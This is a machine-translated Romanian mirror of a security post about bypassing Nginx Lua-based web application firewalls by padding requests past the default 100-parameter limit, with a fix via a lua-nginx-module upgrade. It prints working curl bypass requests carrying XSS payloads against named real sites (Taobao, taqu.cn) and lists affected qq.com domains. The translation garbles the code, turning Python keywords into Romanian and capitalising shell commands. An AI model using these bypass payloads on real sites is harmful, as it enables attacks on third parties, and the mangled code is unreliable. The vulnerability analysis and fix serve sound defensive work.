Acest articol este un articol oglindă al traducerii automate, vă rugăm să faceți clic aici pentru a sări la articolul original.

Vedere: 16994|Răspunde: 1

[Vulnerabilitate de securitate] Vulnerabilitatea firewall-ului aplicațiilor WAF a Nginx Lua

[Copiază linkul]
Postat pe 27.04.2018 09:23:29 | | | |
Când ginx Lua obține parametrii, primele 100 de valori ale parametrilor sunt obținute implicit, iar restul sunt aruncate.
Prin urmare, WAF-urile care folosesc Nginx Lua vor fi ocolite implicit.
Pe 20 aprilie 18, cineva de pe pasagerul de la securitate dezvăluise deja acest detaliu, așa că am publicat și acest articol 233.



Principiu

Descrierea oficială este următoarea

Rețineți că un maxim de 100 de argumente de cerere sunt analizate implicit (inclusiv cele cu același nume) și că argumentele suplimentare de cerere sunt eliminate în tăcere pentru a preveni potențiale Atacuri de negare a serviciului.

Până la 100 de parametri de cerere (inclusiv cei cu același nume) pot fi analizați implicit, iar parametri suplimentari de cerere sunt eliminați automat pentru a preveni potențiale atacuri de tip denial-of-service.

Search 100, aproximativ următoarea metodă are aceeași problemă.
ngx.req.get_uri_args Obține parametrii de cerere pentru get
ngx.req.get_post_args Obține parametrii cererii pentru postare
ngx.req.get_headers Primește antetul cererii
ngx.decode_args Decodarea URL-ului parametrilor
ngx.resp.get_headers Obține antetul răspunsului
În codul sursă al modulului lua-nginx, putem vedea că codul sursă setează parametrul maxim implicit de cerere și antetul la 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Totuși, oficialul oferă o metodă de modificare a valorii implicite, cum ar fi ngx.req.get_uri_args (200) pentru a obține primii 200 de parametri de cerere.

Testa

Dacă parametrul cererii este 101, ultimul parametru de cerere nu poate fi obținut.

Curl -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Dacă reduci un parametru de cerere, poți obține ultimul parametru de cerere când parametrii cererii sunt exact 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
R: ZBG
Te-am prins, zbg

Rețineți că valoarea implicită este într-adevăr 100 de parametri de cerere, iar parametrii de cerere după 100 de parametri vor fi eliminați.

Este un lucru ciudat că în conținutul de retur de mai sus, în mijlocul poziției aproximative, parametrul final zbg este deja produs. Presupunerea mea este că rezultatul nu este în ordine, dar ordinea în care se face analiza urmează ordinea în care parametrii sunt trimiși, pentru că atunci când valoarea parametrului 101 este zbg, valoarea nu poate fi obținută.

Atașat este scriptul python care generează parametrii:

# Autor: ZBG
# mail:zbg@zbg.org
# Data: 2018-04-03

a = ''
pentru i în interval (200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
Tipărește A
repara
Desigur, nu se recomandă modificarea valorii MAX a parametrului în codul sursă. Pentru că, indiferent cât de mare este valoarea pe care o setezi, aceasta poate fi ocolită. Se recomandă să o setezi după parametrii metodei.
Dacă poți obține lungimea parametrului de cerere și să folosești o metodă ca ngx.req.get_uri_args (lenth), nu ar fi suficient?
Citind documentația, am constatat că numărul de parametri solicitați nu a putut fi obținut. Totuși, dacă setezi lentul la 0, poți obține toți parametrii ceruti.

Acest argument poate fi setat la zero pentru a elimina limita și pentru a procesa toate argumentele de cerere primite.
args local = ngx.req.get_uri_args(0)

Totuși, este puternic descurajat să se seteze la 0 pentru a preveni potențiale atacuri de tip denial-of-service.

Îndepărtarea capacului de max_args este puternic descurajată.

De fapt, mă întrebam de ce setarea 0 ar duce la un posibil atac de tip denial of service, iar cererea ar ajunge oricum către nginx, indiferent câți parametri ar fi în get sau post.

Am ridicat o problemă oficialului, iar autorul a spus că ngx.req.get_uri_args (0) va crește consumul de CPU și memorie al serverului. Ulterior, am testat 200 de parametri și am folosit Nginx+php pentru a obține parametrul 200, ceea ce înseamnă că Nginx nu limitează implicit numărul de parametri solicitați. Atunci problema ar putea fi chiar în Nginx Lua,Când Nginx Lua folosește ngx.req.get_uri_args(0) pentru a obține toți parametrii și îi iterază, odată ce sunt solicitați mulți parametri, consumă mai mult CPU și memorie și, în cele din urmă, duce chiar la un refuz de serviciu

Pe 03.04.2018, Bypass007 a ridicat oficial o PROBLEMĂ legată de această corectare a bug-ului și, în sfârșit, a adăugat oficial o nouă funcție bazată pe această PROBLEMĂ la 21-04-2018. Adresa înregistrării de commit a acestei funcții: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Descrierea funcției este următoarea: În versiunile după v0.10.13 (inclusiv v0.10.13), când numărul limită de cereri este încălcat, a doua valoare de returnare este șirul trunchiat.
De la v0.10.13, când limita este depășită, va returna o a doua valoare care este șirul "trunchiat".
Totuși, argumentul opțional al funcției max_args poate fi folosit pentru a anula această limită:
args local, err = ngx.req.get_uri_args(10)
dacă err == "trunchiat" atunci
     -- se poate alege să ignore sau să respingă cererea curentă aici
Sfârșit

Așa că a apărut remedierea finală.

Actualizează lua-nginx-module la v0.10.13 sau mai târziu

Apoi limitează numărul total de parametri, iar cât de mult este limitat numărul total, personal cred că 100 este suficient

OpenResty actualizează modulul lua-nginx

Nu am găsit nicio informație despre modulul de upgrade OpenResty, așa că am descoperit singur cum să upgradez modulul lua-nginx.

Pașii sunt următorii:

Descarcă versiunea corespunzătoare a modulului lua-nginx
WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
Despacheta
tar -zxvf v0.10.13
Șterge versiunea anterioară a modulului lua-nginx
RM -RF OpenResty-1.9.15.1/bundle/ngx_lua-0.10.5
Copiază noul modul lua-nginx
MV Lua-nginx-module-0.10.13 OpenResty-1.9.15.1/Bundle/ngx_lua-0.10.13
Pentru compilare, consultați parametrii de compilare ai VeryNginx


Bypass de carcasă

Trebuie clarificat că următoarele WAF-uri nu sunt sigur dacă să folosesc Nginx Lua, dar pot fi ocolite de numărul total de parametri.

Ali WAF

Acest WAF este un WAF folosit intern de Alibaba, adică WAF folosit de domenii precum *.taobao.com, și nu a fost testat pentru WAF-ul cloud vândut de Alibaba Cloud.
Mai întâi, solicită o încărcătură utilă POST XSS pentru a o intercepta.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Prin Fuzz, s-a constatat că atunci când numărul de parametri este crescut la 478, cu XSS Payload, acesta nu mai este interceptat, iar site-ul poate fi accesat normal.
curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=422&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

WAF-ul testat este un WAF vândut de UCloud.
Când parametrul cererii este crescut la 138, nu va mai fi blocat și site-ul va fi accesat normal.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Acest WAF este un WAF folosit intern de Tencent, adică WAF-ul folosit de nume de domenii precum *qq.com, și nu a fost testat pentru WAF-ul cloud vândut de Tencent Cloud.
Când parametrul cererii crește la 4000, nu va mai fi blocat și site-ul va fi accesat normal. Testele aleatorii ale următoarelor domenii sunt afectate.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

rezumat

Această întrebare este foarte simplă și o puteți găsi citind cu atenție documentul. Dar de ce nu am aflat? Cred că încă e prea puțină gândire.
Referință
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Precedent:Învață Photoshop de la zero, 18 lecții de la începător la zeu
Următor:Punctele forte și slăbiciunile Lua și Luajit
Disclaimer:
Tot software-ul, materialele de programare sau articolele publicate de Code Farmer Network sunt destinate exclusiv scopurilor de învățare și cercetare; Conținutul de mai sus nu va fi folosit în scopuri comerciale sau ilegale, altfel utilizatorii vor suporta toate consecințele. Informațiile de pe acest site provin de pe Internet, iar disputele privind drepturile de autor nu au legătură cu acest site. Trebuie să ștergi complet conținutul de mai sus de pe calculatorul tău în termen de 24 de ore de la descărcare. Dacă îți place programul, te rugăm să susții software-ul autentic, să cumperi înregistrarea și să primești servicii autentice mai bune. Dacă există vreo încălcare, vă rugăm să ne contactați prin e-mail.

Mail To:help@itsvse.com